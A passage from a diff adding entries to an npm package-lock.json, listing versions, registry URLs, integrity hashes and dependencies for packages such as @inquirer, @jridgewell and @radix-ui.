"0.19.1", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", + "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.7", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", + "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.1", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@inquirer/ansi": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-1.0.2.tgz", + "integrity": "sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@inquirer/confirm": { + "version": "5.1.21", + "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-5.1.21.tgz", + "integrity": "sha512-KR8edRkIsUayMXV+o3Gv+q4jlhENF9nMYUZs9PA2HzrXeHI8M5uDag70U7RJn9yyiMZSbtF5/UexBtAVtZGSbQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/core": { + "version": "10.3.2", + "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-10.3.2.tgz", + "integrity": "sha512-43RTuEbfP8MbKzedNqBrlhhNKVwoK//vUFNW3Q3vZ88BLcrs4kYpGg+B2mm5p2K/HfygoCxuKwJJiv8PbGmE0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^1.0.2", + "@inquirer/figures": "^1.0.15", + "@inquirer/type": "^3.0.10", + "cli-width": "^4.1.0", + "mute-stream": "^2.0.0", + "signal-exit": "^4.1.0", + "wrap-ansi": "^6.2.0", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/figures": { + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.15.tgz", + "integrity": "sha512-t2IEY+unGHOzAaVM5Xx6DEWKeXlDDcNPeDyUpsRc6CUhBfU3VQOEl+Vssh7VNp1dR8MdUJBWhuObjXCsVpjN5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@inquirer/type": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-3.0.10.tgz", + "integrity": "sha512-BvziSRxfz5Ov8ch0z/n3oijRSEcEsHnhggm4xFZe93DHcUCTlutlq9Ox4SVENAfcRD22UQq7T/atg9Wr3k09eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@microsoft/fetch-event-source": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@microsoft/fetch-event-source/-/fetch-event-source-2.0.1.tgz", + "integrity": "sha512-W6CLUJ2eBMw3Rec70qrsEW0jOm/3twwJv21mrmj2yORiaVmVYGS4sSS5yUwvQc1ZlDLYGPnClVWmUUMagKNsfA==", + "license": "MIT" + }, + "node_modules/@monaco-editor/loader": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", + "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==", + "license": "MIT", + "dependencies": { + "state-local": "^1.0.6" + } + }, + "node_modules/@monaco-editor/react": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", + "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==", + "license": "MIT", + "dependencies": { + "@monaco-editor/loader": "^1.5.0" + }, + "peerDependencies": { + "monaco-editor": ">= 0.25.0 < 1", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@mswjs/interceptors": { + "version": "0.41.3", + "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.41.3.tgz", + "integrity": "sha512-cXu86tF4VQVfwz8W1SPbhoRyHJkti6mjH/XJIxp40jhO4j2k1m4KYrEykxqWPkFF3vrK4rgQppBh//AwyGSXPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@open-draft/deferred-promise": "^2.2.0", + "@open-draft/logger": "^0.3.0", + "@open-draft/until": "^2.0.0", + "is-node-process": "^1.2.0", + "outvariant": "^1.4.3", + "strict-event-emitter": "^0.5.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@tybys/wasm-util": "^0.10.3" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@open-draft/deferred-promise": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-2.2.0.tgz", + "integrity": "sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@open-draft/logger": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@open-draft/logger/-/logger-0.3.0.tgz", + "integrity": "sha512-X2g45fzhxH238HKO4xbSr7+wBS8Fvw6ixhTDuvLd5mqh6bJJCFAPwU9mPDxbcrRtfxv4u5IHCEH77BmxvXmmxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-node-process": "^1.2.0", + "outvariant": "^1.4.0" + } + }, + "node_modules/@open-draft/until": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@open-draft/until/-/until-2.1.0.tgz", + "integrity": "sha512-U69T3ItWHvLwGg5eJ0n3I62nWuE6ilHlmz7zM0npLBRvPRd7e6NYmg54vvRtP5mZG7kZqZCFVdsTWo7BPtBujg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@oxc-project/types": { + "version": "0.137.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.137.0.tgz", + "integrity": "sha512-WT+Gb24i8hmvo85AIv2oEYouEXkRlKAlT9WaCa3TfLgNCN+GhrJOGZuIlMouAh38Qe4QOx26eUOVsq70qXrywA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" + } + }, + "node_modules/@radix-ui/number": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.1.1.tgz", + "integrity": "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==", + "license": "MIT" + }, + "node_modules/@radix-ui/primitive": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", + "license": "MIT" + }, + "node_modules/@radix-ui/react-accordion": { + "version": "1.2.12", + "resolved": "https://registry.npmjs.org/@radix-ui/react-accordion/-/react-accordion-1.2.12.tgz", + "integrity": "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collapsible": "1.1.12", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-alert-dialog": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-alert-dialog/-/react-alert-dialog-1.1.15.tgz", + "integrity": "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dialog": "1.1.15", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-alert-dialog/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-arrow": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz", + "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-avatar": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/@radix-ui/react-avatar/-/react-avatar-1.1.11.tgz", + "integrity": "sha512-0Qk603AHGV28BOBO34p7IgD5m+V5Sg/YovfayABkoDDBM5d3NCx0Mp4gGrjzLGes1jV5eNOE1r3itqOR33VC6Q==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-context": "1.1.3", + "@radix-ui/react-primitive": "2.1.4", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-is-hydrated": "0.1.0", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-avatar/node_modules/@radix-ui/react-context": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.3.tgz", + "integrity": "sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-avatar/node_modules/@radix-ui/react-primitive": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", + "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-checkbox": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-checkbox/-/react-checkbox-1.3.3.tgz", + "integrity": "sha512-wBbpv+NQftHDdG86Qc0pIyXk5IR3tM8Vd0nWLKDcX8nNn4nXFOFwsKuqw2okA/1D/mpaAkmuyndrPJTYDNZtFw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-previous": "1.1.1", + "@radix-ui/react-use-size": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collapsible": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz", + "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz", + "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-collection/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", + "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-context": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz", + "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dialog": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.15.tgz", + "integrity": "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dialog/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-direction": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz", + "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dismissable-layer": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz", + "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-escape-keydown": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-dropdown-menu": { + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.16.tgz", + "integrity": "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-menu": "2.1.16", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-guards": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz", + "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { 